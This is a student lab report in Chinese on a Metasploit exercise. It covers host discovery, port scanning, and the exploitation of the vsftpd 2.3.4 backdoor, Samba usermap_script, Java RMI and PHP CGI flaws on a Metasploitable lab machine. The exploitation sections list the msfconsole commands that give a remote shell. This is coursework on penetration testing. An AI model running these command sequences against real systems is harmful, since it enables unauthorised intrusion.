当前位置: 首页 > news >正文

20232406 2025-2026-1 《网络与系统攻防技术》 实验六实验报告

一、实验内容

1.实验内容

(1)前期渗透

①主机发现(可用Aux中的arp_sweep,search一下就可以use)

②端口扫描:可以直接用nmap,也可以用Aux中的portscan/tcp等。

③选做:也可以扫系统版本、漏洞等。

(2)Vsftpd源码包后门漏洞(21端口)

漏洞原理:在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“: )”为结尾,服务器就会在6200端口监听,并且能够执行任意代码。

(3)SambaMS-RPC Shell命令注入漏洞(端口139)
漏洞原理:Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。

(4)Java RMI SERVER命令执行漏洞(1099端口)

漏洞原理:Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。

(5)PHP CGI参数执行注入漏洞(80端口)

漏洞原理:CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。

2.学习总结

1)MST基本框架

Metasploit:是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的溢出漏洞和流行的shellcode。

2)基本命令

指定设置的模块

use [auxiliary(辅助模块)&exploit(攻击模块)&payload(攻击载荷)&encode(编译器模块)]

显示可使用的模块或选项

show [exploits&payloads&encoder&auxiliary&options]:

设定选项或模块

set [options&payload]

启用模块

run&exploit

取消当前指定模块,同时返回上级目录

back

查看这个模块的详情

info

搜索符合条件的模块

search

检查指定特定目标是否存在安全漏洞,并且能被exploit(攻击模块)利用

check

查看当前会话

sessions

二、实验过程

1.前期渗透

1)主机发现

获取靶机ip地址。使用ifconfig得到地址为192.168.226.157
image
输入msfconsole进入msf控制台
依次输入

search arp_sweep
use 0
set RHOSTS 192.128.226.157
run

image
输入nmap -p 1-2048 192.168.226.157查看靶机开放的端口
image

2.使用Aux中的portscan/tcp
输入以下命令

search portscan/tcp
use 0
set RHOSTS 192.168.226.157
exploit

image

3)选做:系统版本扫描

依次输入

search auxiliary/scanner/smb/smb_version
use 0
set RHOSTS 192.168.226.157
exploit

image

2.Vsftpd源码包后门漏洞(21端口)

1)执行攻击

在msfconsole中,依次输入以下命令

search exploit/unix/ftp/vsftpd_234_backdoor
use 0
set RHOSTS 192.168.226.157
run

image

2)验证攻击

执行uname –a、 pwd、 id等命令 验证
image

3.SambaMS-RPC Shell命令注入漏洞(端口139)

1)执行攻击

在msfconsole中,依次输入以下命令

search exploit/multi/samba/usermap_script
use 0
set RHOSTS 192.168.226.157
run

image

2)验证攻击

执行uname –a、 pwd、 id等命令验证
image

4.Java RMI SERVER命令执行漏洞(1099端口)

1)执行攻击

在msfconsole中,依次输入以下命令

search exploit/multi/misc/java_rmi_server
use 0
set RHOSTS 192.168.226.157
run

image

2)验证攻击

执行uname –a、 pwd、 id等命令验证
image

5.PHP CGI参数执行注入漏洞(80端口)

1)执行攻击

在msfconsole中,依次输入以下命令

search use exploit/multi/http/php_cgi_arg_injection
use 0
set RHOSTS 192.168.226.157
run

image

2)验证攻击

输入shell获取shell
执行uname –a、 pwd、 id等命令验证
image

三、问题及解决方案

-无

四、学习感悟、思考

在实验前,我对 Metasploit 的认知仅停留在 “调用模块” 的表层操作,而本次实验让我实现了从 “工具使用者” 到 “原理理解者” 的转变。例如针对Vsftpd 2.3.4 后门漏洞(21 端口) 的利用,起初我仅按步骤输入指令,当看到攻击成功后靶机 6200 端口开放并获取 root 权限时,虽有成就感却不明其理。直到回顾漏洞原理 ——“恶意植入代码监测用户名末尾的‘😃’符号,触发后门并开放端口”,我才意识到:这类人为植入的后门漏洞,本质是软件供应链安全的缺失,也让我明白 “使用过时软件版本” 会带来的致命风险。
实验初期的前期渗透环节(主机发现、端口扫描、漏洞探测),让我深刻体会到 “信息收集决定渗透成败”。在主机发现阶段,我最初使用普通用户权限运行arp_sweep模块,结果因 “权限不足无法捕获网段数据” 失败,这与之前解决 “Socket: OPERATION not permitted” 错误的经验相呼应,最终通过sudo msfconsole以 root 权限启动框架,成功定位到靶机 IP(192.168.226.151)。这一细节让我明白:权限管理是网络安全的基础,即使是合法的渗透测试,也需遵循 “最小权限原则” 与 “授权操作规范”。
端口扫描环节,我同时尝试了nmap -sS -sV与 Metasploit 的portscan/tcp模块。对比发现,nmap 的版本探测更精准(如明确 21 端口为 vsftpd 2.3.4),而 Metasploit 模块可直接将扫描结果与漏洞库关联,两者结合能形成 “信息互补”。这让我总结出:渗透测试中不存在 “单一最优工具”,需根据场景选择合适工具,而 “多工具交叉验证” 是提升信息准确性的关键。

参考资料

  • Metasploitable 2 Exploitability Guide
http://www.jsqmd.com/news/48376/

相关文章:

  • Monit-基于非容器服务自恢复程序实践
  • 人工智能之编程进阶 Python高级:第十章 知识点总结
  • 这篇题为《手指沾满白河水:AI元人文的批判与建构》的论文
  • 《手指沾满白河水:AI元人文的批判与建构》
  • 让你的动画“活”过来:Manim 节奏控制指南 (Rate Functions)
  • 《沉默的审查:高度原创性理论在预印本平台中的识别困境与范式危机——以“AI元人文”投稿为例》
  • 人工智能之编程进阶 Python高级:第九章 爬虫类模块
  • iOS虚拟现实开发如何降低成本
  • iOS虚拟现实开发如何提升性能
  • 2025专业防水补漏公司推荐——尤卉防水,连锁企业,上海、青岛、沧州、沈阳等多城市首选品牌,品质优、时效快,住宅补漏,工建检修,防水全流程服务。
  • 基于Prometheus-实现AWS EC2的实例异常自动重启
  • 2025 年 11 月伺服压力机厂家权威推荐榜:苏州小型电动精密四柱 C 型电缸节能智能高精度电子伺服油压机液压热压装机专业解析
  • 2025 年 11 月电热管厂家权威推荐榜:不锈钢/单头/空气干烧/浸入式/分流板/热流板/翅片/铁氟龙/工业电热管,高效耐用精准控温
  • PostgreSQL数据库技术革新与AI功能解析
  • ios基于linux还是unix
  • 2025加湿器水泵品牌TOP5推荐,宠物饮水机水泵、冷风扇水泵、水暖毯水泵等微型水泵源头厂商品质性价比选择指南
  • HarmonyOS Canvas开发指南 - 指南
  • 深入解析:基于python的化妆品销售分析系统
  • LeetCode 面试经典 150_链表_反转链表 II(60_92_C++_中等)(头插法) - 教程
  • ubuntu22.04 源更新报错 —— all.deb 403 Forbidden [IP: 101.6.15.130 80
  • 【ESP32】VSCode PlatformIO第一次初始化项目卡死
  • 完整教程:【Linux入门】常用工具:yum、vim
  • 2025宠物饮水机水泵品牌TOP5推荐,水暖毯水泵、加湿器水泵、冷风扇水泵等微型水泵厂商品质性价比选择指南
  • 2025水暖毯水泵品牌TOP5推荐,宠物饮水机水泵、加湿器水泵、冷风扇水泵等微型水泵厂商品质性价比选择指南
  • 【Kubernetes】集成ELK收集日志
  • 2025防脱洗护品牌最新TOP5实测推荐:老姜王+草本双核心,洗发水+按摩
  • 2025草本防脱洗护品牌怎么选?名花贵族(大宏生物),以植萃力量,重新定义头皮健康养护,老姜王防脱洗发水、头皮按摩膏,效果明显,口碑推荐
  • 2025草本洗护哪个品牌效果最好?老姜王防脱、草本洗发水、头皮按摩膏十大品牌测评推荐
  • ios17可自动清除短信验证码吗安全吗
  • iOS 虚拟现实开发怎样简化开发流程